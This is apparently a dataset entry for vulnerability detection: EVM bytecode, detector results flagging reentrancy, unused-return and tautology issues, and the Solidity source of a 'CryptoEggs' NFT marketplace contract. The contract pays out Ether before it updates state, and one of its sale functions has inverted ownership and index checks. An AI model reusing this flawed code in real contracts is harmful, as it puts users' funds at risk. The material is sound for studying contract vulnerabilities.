252a612135565b5b600061253984828501612500565b91505092915050565b60006040820190506125576000830185612325565b6125646020830184612325565b9392505050565b6000819050919050565b6000819050919050565b600061259a6125956125908461256b565b612575565b612198565b9050919050565b6125aa8161257f565b82525050565b600060c0820190506125c56000830189612325565b6125d26020830188612244565b6125df60408301876125a1565b6125ec60608301866125a1565b6125f96080830185612325565b61260660a0830184612244565b979650505050505050565b600081519050612620816121a2565b92915050565b60008060006060848603121561263f5761263e612135565b5b600061264d86828701612611565b935050602061265e86828701612611565b925050604061266f86828701612611565b9150509250925092565b600060408201905061268e6000830185612325565b61269b6020830184612244565b9392505050565b6126ab8161220e565b81146126b657600080fd5b50565b6000815190506126c8816126a2565b92915050565b6000602082840312156126e4576126e3612135565b5b60006126f2848285016126b9565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612757602483612085565b9150612762826126fb565b604082019050919050565b600060208201905081810360008301526127868161274a565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006127e9602283612085565b91506127f48261278d565b604082019050919050565b60006020820190508181036000830152612818816127dc565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061287b602583612085565b91506128868261281f565b604082019050919050565b600060208201905081810360008301526128aa8161286e565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061290d602383612085565b9150612918826128b1565b604082019050919050565b6000602082019050818103600083015261293c81612900565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061299f602983612085565b91506129aa82612943565b604082019050919050565b600060208201905081810360008301526129ce81612992565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612a0f82612198565b9150612a1a83612198565b925082821015612a2d57612a2c6129d5565b5b828203905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b612acb8161215a565b82525050565b6000612add8383612ac2565b60208301905092915050565b6000602082019050919050565b6000612b0182612a96565b612b0b8185612aa1565b9350612b1683612ab2565b8060005b83811015612b47578151612b2e8882612ad1565b9750612b3983612ae9565b925050600181019050612b1a565b5085935050505092915050565b600060a082019050612b696000830188612244565b612b7660208301876125a1565b8181036040830152612b888186612af6565b9050612b976060830185612325565b612ba46080830184612244565b9695505050505050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000612c0a602a83612085565b9150612c1582612bae565b604082019050919050565b60006020820190508181036000830152612c3981612bfd565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612c7a82612198565b9150612c8583612198565b925082612c9557612c94612c40565b5b828204905092915050565b6000612cab82612198565b9150612cb683612198565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612ceb57612cea6129d5565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612d2c601b83612085565b9150612d3782612cf6565b602082019050919050565b60006020820190508181036000830152612d5b81612d1f565b9050919050565b6000612d6d82612198565b9150612d7883612198565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612db157612db06129d5565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612e18602183612085565b9150612e2382612dbc565b604082019050919050565b60006020820190508181036000830152612e4781612e0b565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205b10c309435ff328ef0c0738a8f2538dc93c193df56ffa534586626c5a0472e264736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
| 5,308 |
0x8a98c94b8be5f04f31bf5d5c19dd20cf675c87b6
|
//SPDX-License-Identifier: Unlicense
pragma solidity 0.8.4;
// 10,000 unique collectible eggs with proof of ownership stored on the Ethereum blockchain
// _ _ _ _ _ _ _ _ _ _
// / \ / \ / \ / \ / \ / \ / \ / \ / \ / \
// ( C | r | y | p | t | o | E | g | g | s )
// \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/
//
// Website: https://www.cryptoeggs.com
// Discord: https://discord.gg/63PEpwVR5J
// Telegram: https://t.me/cryptoeggscom
// Twitter: https://www.twitter.com/cryptoeggscom
//
contract CryptoEggs {
// You can use this hash to verify the image file containing all the eggs
string public imageHash =
"a9874035a17b212660fa69a6fb7bfa7feaa03e88825410fb13124c41a6bf70cb";
address owner;
address private recAddress =
address(0x96Acc8515A660Ee1d84Bf393FA871948AB35a758);
string public standard = "CRYPTOEGGS";
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
uint256 public totalInitialFreeEggs;
uint256 public EggsRemainingToAssign = 0;
// Inital Free Eggs tracker
bool public allFreeEggsAssigned = false;
uint256 public freeEggsRemainingToAssign = 0;
mapping(uint256 => address) public eggIndexToAddress;
/* This creates an array with all balances */
mapping(address => uint256) public balanceOf;
uint256[] assignedEggsArr;
address[] public freeEggHolders;
mapping(address => bool) public freeEggHolderKnown;
struct Offer {
bool isForSale;
uint256 eggIndex;
address seller;
uint256 minValue; // in ether
address onlySellTo; // specify to sell only to a specific person
}
struct Bid {
bool hasBid;
uint256 eggIndex;
address bidder;
uint256 value;
}
// A record of eggs that are offered for sale at a specific minimum value, and perhaps to a specific person
mapping(uint256 => Offer) public eggsOfferedForSale;
// A record of the highest egg bid
mapping(uint256 => Bid) public eggBids;
mapping(address => uint256) public pendingWithdrawals;
event Assign(address indexed to, uint256 indexed eggIndex);
event Transfer(address indexed from, address indexed to, uint256 value);
event EggTransfer(
address indexed from,
address indexed to,
uint256 indexed eggIndex
);
event EggOffered(
uint256 indexed eggIndex,
uint256 minValue,
address indexed toAddress,
address indexed sellerAddress
);
event EggBidEntered(
uint256 indexed eggIndex,
uint256 value,
address indexed fromAddress
);
event EggBidWithdrawn(
uint256 indexed eggIndex,
uint256 value,
address indexed fromAddress
);
event EggBought(
uint256 indexed eggIndex,
uint256 value,
address indexed fromAddress,
address indexed toAddress
);
event EggNoLongerForSale(uint256 indexed eggIndex);
/* Initializes contract with initial supply tokens to the creator of the contract */
constructor() payable {
owner = msg.sender;
totalInitialFreeEggs = 100; // Initial of 100 free eggs
totalSupply = 10000; // Update total supply
EggsRemainingToAssign = totalSupply;
freeEggsRemainingToAssign = totalInitialFreeEggs;
name = "CRYPTOEGGS"; // Set the name for display purposes
symbol = "CEGG"; // Set the symbol for display purposes
decimals = 0; // Amount of decimals for display purposes
}
function claimRandomFreeEgg(address to, uint256 eggIndex) public {
require(eggIndexToAddress[eggIndex] == address(0x0));
require(!allFreeEggsAssigned);
require(freeEggsRemainingToAssign != 0, "No more free egs left");
require(eggIndex <= 10000);
require(!freeEggHolderKnown[to], "Already claimed a free egg!");
if (eggIndexToAddress[eggIndex] != to) {
if (eggIndexToAddress[eggIndex] != address(0x0)) {
balanceOf[eggIndexToAddress[eggIndex]]--;
} else {
EggsRemainingToAssign--;
freeEggsRemainingToAssign--;
}
eggIndexToAddress[eggIndex] = to;
assignedEggsArr.push(eggIndex);
balanceOf[to]++;
freeEggHolders.push(to);
freeEggHolderKnown[to] = true;
emit Assign(to, eggIndex);
}
}
function getRemainingFreeEgs() public view returns (uint256) {
return freeEggsRemainingToAssign;
}
function buyRandomEgg(address _to, uint256 eggIndex) public payable {
require(eggIndexToAddress[eggIndex] == address(0x0));
require(msg.value != 0);
require(msg.value >= 50000000000000000);
require(eggIndex <= 10000);
(bool sent, bytes memory data) = payable(recAddress).call{value: msg.value}(
""
);
require(sent, "Failed to send Ether");
if (eggIndexToAddress[eggIndex] != _to) {
if (eggIndexToAddress[eggIndex] != address(0x0)) {
balanceOf[eggIndexToAddress[eggIndex]]--;
} else {
EggsRemainingToAssign--;
}
eggIndexToAddress[eggIndex] = _to;
balanceOf[_to]++;
emit Assign(_to, eggIndex);
}
}
function buyUnclaimedEgg(address _to, uint256 eggIndex) public payable {
require(eggIndexToAddress[eggIndex] == address(0x0));
require(msg.value != 0);
require(msg.value >= 100000000000000000);
require(eggIndex <= 10000);
(bool sent, bytes memory data) = payable(recAddress).call{value: msg.value}(
""
);
require(sent, "Failed to send Ether");
if (eggIndexToAddress[eggIndex] != _to) {
if (eggIndexToAddress[eggIndex] != address(0x0)) {
balanceOf[eggIndexToAddress[eggIndex]]--;
} else {
EggsRemainingToAssign--;
}
eggIndexToAddress[eggIndex] = _to;
balanceOf[_to]++;
emit Assign(_to, eggIndex);
}
}
// Transfer ownership of an egg to another user without requiring payment
function transferEgg(address to, uint256 eggIndex) public {
require(eggIndexToAddress[eggIndex] == msg.sender);
require(eggIndex <= 10000);
if (eggsOfferedForSale[eggIndex].isForSale) {
eggNoLongerForSale(eggIndex);
}
eggIndexToAddress[eggIndex] = to;
balanceOf[msg.sender]--;
balanceOf[to]++;
emit Transfer(msg.sender, to, 1);
emit EggTransfer(msg.sender, to, eggIndex);
// Check for the case where there is a bid from the new owner and refund it.
// Any other bid can stay in place.
Bid storage bid = eggBids[eggIndex];
if (bid.bidder == to) {
// Kill bid and refund value
pendingWithdrawals[to] += bid.value;
eggBids[eggIndex] = Bid(false, eggIndex, address(0x0), 0);
}
}
function eggNoLongerForSale(uint256 eggIndex) public {
require(eggIndexToAddress[eggIndex] == msg.sender);
require(eggIndex <= 10000);
eggsOfferedForSale[eggIndex] = Offer(
false,
eggIndex,
msg.sender,
0,
address(0x0)
);
emit EggNoLongerForSale(eggIndex);
}
function offerEggForSale(uint256 eggIndex, uint256 minSalePriceInWei) public {
require(eggIndexToAddress[eggIndex] == msg.sender);
require(eggIndex <= 10000);
eggsOfferedForSale[eggIndex] = Offer(
true,
eggIndex,
msg.sender,
minSalePriceInWei,
address(0x0)
);
emit EggOffered(eggIndex, minSalePriceInWei, address(0x0), msg.sender);
}
function offerEggForSaleToAddress(
uint256 eggIndex,
uint256 minSalePriceInWei,
address toAddress
) public {
require(eggIndexToAddress[eggIndex] != msg.sender);
require(eggIndex >= 10000);
eggsOfferedForSale[eggIndex] = Offer(
true,
eggIndex,
msg.sender,
minSalePriceInWei,
toAddress
);
emit EggOffered(eggIndex, minSalePriceInWei, toAddress, msg.sender);
}
function buyEgg(uint256 eggIndex) public payable {
Offer storage offer = eggsOfferedForSale[eggIndex];
require(eggIndex <= 10000);
require(offer.isForSale); // egg not actually for sale
// Check this rule !!!!!!!!!!!!
require(offer.onlySellTo == address(0x0) || offer.onlySellTo == msg.sender); // egg not supposed to be sold to this user
require(msg.value >= offer.minValue); // Didn't send enough ETH
require(offer.seller == eggIndexToAddress[eggIndex]); // Seller no longer owner of egg
address seller = offer.seller;
eggIndexToAddress[eggIndex] = msg.sender;
balanceOf[seller]--;
balanceOf[msg.sender]++;
emit Transfer(seller, msg.sender, 1);
eggNoLongerForSale(eggIndex);
pendingWithdrawals[seller] += msg.value;
emit EggBought(eggIndex, msg.value, seller, msg.sender);
// Check for the case where there is a bid from the new owner and refund it.
// Any other bid can stay in place.
Bid storage bid = eggBids[eggIndex];
if (bid.bidder == msg.sender) {
// Kill bid and refund value
pendingWithdrawals[msg.sender] += bid.value;
eggBids[eggIndex] = Bid(false, eggIndex, address(0x0), 0);
}
}
function withdraw() public {
uint256 amount = pendingWithdrawals[msg.sender];
uint256 fee = (amount / 100) * 3;
uint256 amountMinusFee = amount - fee;
// Remember to zero the pending refund before
// sending to prevent re-entrancy attacks
pendingWithdrawals[msg.sender] = 0;
payable(recAddress).transfer(fee);
payable(msg.sender).transfer(amountMinusFee);
}
function enterBidForEgg(uint256 eggIndex) public payable {
require(eggIndex <= 10000);
require(eggIndexToAddress[eggIndex] != address(0x0));
require(eggIndexToAddress[eggIndex] != msg.sender);
require(msg.value != 0);
Bid storage existing = eggBids[eggIndex];
require(msg.value >= existing.value);
if (existing.value > 0) {
// Refund the failing bid
pendingWithdrawals[existing.bidder] += existing.value;
}
eggBids[eggIndex] = Bid(true, eggIndex, msg.sender, msg.value);
emit EggBidEntered(eggIndex, msg.value, msg.sender);
}
function acceptBidForEgg(uint256 eggIndex, uint256 minPrice) public {
require(eggIndex <= 10000);
require(eggIndexToAddress[eggIndex] == msg.sender);
address seller = msg.sender;
Bid storage bid = eggBids[eggIndex];
require(bid.value != 0);
require(bid.value >= minPrice);
eggIndexToAddress[eggIndex] = bid.bidder;
balanceOf[seller]--;
balanceOf[bid.bidder]++;
emit Transfer(seller, bid.bidder, 1);
eggsOfferedForSale[eggIndex] = Offer(
false,
eggIndex,
bid.bidder,
0,
address(0x0)
);
uint256 amount = bid.value;
eggBids[eggIndex] = Bid(false, eggIndex, address(0x0), 0);
pendingWithdrawals[seller] += amount;
emit EggBought(eggIndex, amount, seller, bid.bidder);
}
function withdrawBidForEgg(uint256 eggIndex) public {
require(eggIndex <= 10000);
require(eggIndexToAddress[eggIndex] != address(0x0));
require(eggIndexToAddress[eggIndex] != msg.sender);
Bid storage bid = eggBids[eggIndex];
require(bid.bidder == msg.sender);
emit EggBidWithdrawn(eggIndex, bid.value, msg.sender);
uint256 amount = bid.value;
eggBids[eggIndex] = Bid(false, eggIndex, address(0x0), 0);
// Refund the bid money
payable(msg.sender).transfer(amount);
}
function getAllClaimedEggs() public view returns (uint256[] memory) {
return assignedEggsArr;
}
}
|
0x6080604052600436106101d85760003560e01c8063643f3a3c11610102578063a7d755c411610095578063e4f3670a11610064578063e4f3670a1461068e578063e6c52df8146106b7578063eb89ea49146106e0578063f3f43703146106fc576101d8565b8063a7d755c4146105e4578063cb028a681461060f578063d8077f9814610638578063e25bcddd14610663576101d8565b8063766562c9116100d1578063766562c9146105255780638b8a82241461054e5780638d1831c11461058e57806395d89b41146105b9576101d8565b8063643f3a3c1461046b57806368b4c3bd146104945780637063f2de146104bd57806370a08231146104e8576101d8565b8063458b934d1161017a57806353aea0bb1161014957806353aea0bb146103be5780635a3b7e42146103da5780635b69a581146104055780635ead565214610442576101d8565b8063458b934d146102f95780634c33efa71461033a5780634d2582bd1461035657806351605d8014610393576101d8565b806328843368116101b6578063288433681461024f578063313ce5671461027a5780633ccfd60b146102a557806340fe3d36146102bc576101d8565b806306fdde03146101dd57806318160ddd1461020857806326d4854d14610233575b600080fd5b3480156101e957600080fd5b506101f2610739565b6040516101ff919061383f565b60405180910390f35b34801561021457600080fd5b5061021d6107c7565b60405161022a91906138c1565b60405180910390f35b61024d6004803603810190610248919061349a565b6107cd565b005b34801561025b57600080fd5b50610264610ba0565b60405161027191906138c1565b60405180910390f35b34801561028657600080fd5b5061028f610ba6565b60405161029c91906138dc565b60405180910390f35b3480156102b157600080fd5b506102ba610bb9565b005b3480156102c857600080fd5b506102e360048036038101906102de91906134d6565b610d24565b6040516102f09190613734565b60405180910390f35b34801561030557600080fd5b50610320600480360381019061031b91906134d6565b610d63565b6040516103319594939291906137d1565b60405180910390f35b610354600480360381019061034f91906134d6565b610de6565b005b34801561036257600080fd5b5061037d600480360381019061037891906134d6565b61136b565b60405161038a9190613734565b60405180910390f35b34801561039f57600080fd5b506103a861139e565b6040516103b5919061383f565b60405180910390f35b6103d860048036038101906103d391906134d6565b61142c565b005b3480156103e657600080fd5b506103ef6116f4565b6040516103fc919061383f565b60405180910390f35b34801561041157600080fd5b5061042c60048036038101906104279190613471565b611782565b6040516104399190613771565b60405180910390f35b34801561044e57600080fd5b50610469600480360381019061046491906134ff565b6117a2565b005b34801561047757600080fd5b50610492600480360381019061048d919061353b565b6119b6565b005b3480156104a057600080fd5b506104bb60048036038101906104b691906134d6565b611bca565b005b3480156104c957600080fd5b506104d2611e9a565b6040516104df919061374f565b60405180910390f35b3480156104f457600080fd5b5061050f600480360381019061050a9190613471565b611ef2565b60405161051c91906138c1565b60405180910390f35b34801561053157600080fd5b5061054c600480360381019061054791906134ff565b611f0a565b005b34801561055a57600080fd5b50610575600480360381019061057091906134d6565b6124a2565b604051610585949392919061378c565b60405180910390f35b34801561059a57600080fd5b506105a36124ff565b6040516105b091906138c1565b60405180910390f35b3480156105c557600080fd5b506105ce612509565b6040516105db919061383f565b60405180910390f35b3480156105f057600080fd5b506105f9612597565b60405161060691906138c1565b60405180910390f35b34801561061b57600080fd5b506106366004803603810190610631919061349a565b61259d565b005b34801561064457600080fd5b5061064d612a64565b60405161065a9190613771565b60405180910390f35b34801561066f57600080fd5b50610678612a77565b60405161068591906138c1565b60405180910390f35b34801561069a57600080fd5b506106b560048036038101906106b0919061349a565b612a7d565b005b3480156106c357600080fd5b506106de60048036038101906106d991906134d6565b612e83565b005b6106fa60048036038101906106f5919061349a565b61305d565b005b34801561070857600080fd5b50610723600480360381019061071e9190613471565b61342f565b60405161073091906138c1565b60405180910390f35b6004805461074690613b30565b80601f016020809104026020016040519081016040528092919081815260200182805461077290613b30565b80156107bf5780601f10610794576101008083540402835291602001916107bf565b820191906000526020600020905b8154815290600101906020018083116107a257829003601f168201915b505050505081565b60075481565b600073ffffffffffffffffffffffffffffffffffffffff16600c600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461083957600080fd5b600034141561084757600080fd5b67016345785d8a000034101561085c57600080fd5b61271081111561086b57600080fd5b600080600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16346040516108b49061371f565b60006040518083038185875af1925050503d80600081146108f1576040519150601f19603f3d011682016040523d82523d6000602084013e6108f6565b606091505b50915091508161093b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161093290613881565b60405180910390fd5b8373ffffffffffffffffffffffffffffffffffffffff16600c600085815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b9a57600073ffffffffffffffffffffffffffffffffffffffff16600c600085815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a9557600d6000600c600086815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190610a8b90613b06565b9190505550610aae565b60096000815480929190610aa890613b06565b91905055505b83600c600085815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190610b5090613b62565b9190505550828473ffffffffffffffffffffffffffffffffffffffff167f8a0e37b73a0d9c82e205d4d1a3ff3d0b57ce5f4d7bccf6bac03336dc101cb7ba60405160405180910390a35b50505050565b60095481565b600660009054906101000a900460ff1681565b6000601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060006003606483610c0e91906139ad565b610c1891906139de565b905060008183610c289190613a38565b90506000601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015610cd7573d6000803e3d6000fd5b503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610d1e573d6000803e3d6000fd5b50505050565b600f8181548110610d3457600080fd5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60116020528060005260406000206000915090508060000160009054906101000a900460ff16908060010154908060020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060030154908060040160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905085565b6000601160008381526020019081526020016000209050612710821115610e0c57600080fd5b8060000160009054906101000a900460ff16610e2757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168160040160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610ed557503373ffffffffffffffffffffffffffffffffffffffff168160040160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b610ede57600080fd5b8060030154341015610eef57600080fd5b600c600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168160020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f7e57600080fd5b60008160020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905033600c600085815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919061104990613b06565b9190505550600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919061109e90613b62565b91905055503373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60016040516111019190613824565b60405180910390a361111283612e83565b34601360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111619190613957565b925050819055503373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16847f6d1621bf4e378db6a3b37f46c49f217c521a286c073e7ba618d1045b39375970346040516111c691906138c1565b60405180910390a460006012600085815260200190815260200160002090503373ffffffffffffffffffffffffffffffffffffffff168160020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611365578060030154601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546112909190613957565b925050819055506040518060800160405280600015158152602001858152602001600073ffffffffffffffffffffffffffffffffffffffff16815260200160008152506012600086815260200190815260200160002060008201518160000160006101000a81548160ff0219169083151502179055506020820151816001015560408201518160020160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550606082015181600301559050505b50505050565b600c6020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080546113ab90613b30565b80601f01602080910402602001604051908101604052809291908181526020018280546113d790613b30565b80156114245780601f106113f957610100808354040283529160200191611424565b820191906000526020600020905b81548152906001019060200180831161140757829003601f168201915b505050505081565b61271081111561143b57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600c600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156114a857600080fd5b3373ffffffffffffffffffffffffffffffffffffffff16600c600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561151457600080fd5b600034141561152257600080fd5b6000601260008381526020019081526020016000209050806003015434101561154a57600080fd5b6000816003015411156115d6578060030154601360008360020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546115ce9190613957565b925050819055505b60405180608001604052806001151581526020018381526020013373ffffffffffffffffffffffffffffffffffffffff168152602001348152506012600084815260200190815260200160002060008201518160000160006101000a81548160ff0219169083151502179055506020820151816001015560408201518160020160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550606082015181600301559050503373ffffffffffffffffffffffffffffffffffffffff16827f3f4f22711c86d9a1cd524c6074ca3824eb2a3f3611d38ee147288690cbfa32fe346040516116e891906138c1565b60405180910390a35050565b6003805461170190613b30565b80601f016020809104026020016040519081016040528092919081815260200182805461172d90613b30565b801561177a5780601f1061174f5761010080835404028352916020019161177a565b820191906000526020600020905b81548152906001019060200180831161175d57829003601f168201915b505050505081565b60106020528060005260406000206000915054906101000a900460ff1681565b3373ffffffffffffffffffffffffffffffffffffffff16600c600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461180d57600080fd5b61271082111561181c57600080fd5b6040518060a001604052806001151581526020018381526020013373ffffffffffffffffffffffffffffffffffffffff168152602001828152602001600073ffffffffffffffffffffffffffffffffffffffff168152506011600084815260200190815260200160002060008201518160000160006101000a81548160ff0219169083151502179055506020820151816001015560408201518160020160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506060820151816003015560808201518160040160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055509050503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff16837f13f68a1cbc6500e40da9e9664df63230b85e35491d8502a631b8356d80c4e0fb846040516119aa91906138c1565b60405180910390a45050565b3373ffffffffffffffffffffffffffffffffffffffff16600c600085815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611a2257600080fd5b612710831015611a3157600080fd5b6040518060a001604052806001151581526020018481526020013373ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018273ffffffffffffffffffffffffffffffffffffffff168152506011600085815260200190815260200160002060008201518160000160006101000a81548160ff0219169083151502179055506020820151816001015560408201518160020160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506060820151816003015560808201518160040160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055509050503373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16847f13f68a1cbc6500e40da9e9664df63230b85e35491d8502a631b8356d80c4e0fb85604051611bbd91906138c1565b60405180910390a4505050565b612710811115611bd957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600c600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611c4657600080fd5b3373ffffffffffffffffffffffffffffffffffffffff16600c600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611cb257600080fd5b60006012600083815260200190815260200160002090503373ffffffffffffffffffffffffffffffffffffffff168160020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611d2557600080fd5b3373ffffffffffffffffffffffffffffffffffffffff16827f9656b5c78984fe07c333cefb2cb25b54534c255574a6506e2a042e2e574273eb8360030154604051611d7091906138c1565b60405180910390a36000816003015490506040518060800160405280600015158152602001848152602001600073ffffffffffffffffffffffffffffffffffffffff16815260200160008152506012600085815260200190815260200160002060008201518160000160006101000a81548160ff0219169083151502179055506020820151816001015560408201518160020160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550606082015181600301559050503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611e94573d6000803e3d6000fd5b50505050565b6060600e805480602002602001604051908101604052809291908181526020018280548015611ee857602002820191906000526020600020905b815481526020019060010190808311611ed4575b5050505050905090565b600d6020528060005260406000206000915090505481565b612710821115611f1957600080fd5b3373ffffffffffffffffffffffffffffffffffffffff16600c600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611f8457600080fd5b60003390506000601260008581526020019081526020016000209050600081600301541415611fb257600080fd5b8281600301541015611fc357600080fd5b8060020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600c600086815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919061208990613b06565b9190505550600d60008260020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919061210290613b62565b91905055508060020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60016040516121899190613824565b60405180910390a36040518060a001604052806000151581526020018581526020018260020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200160008152602001600073ffffffffffffffffffffffffffffffffffffffff168152506011600086815260200190815260200160002060008201518160000160006101000a81548160ff0219169083151502179055506020820151816001015560408201518160020160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373fffffffffffffffffffffffffffffffff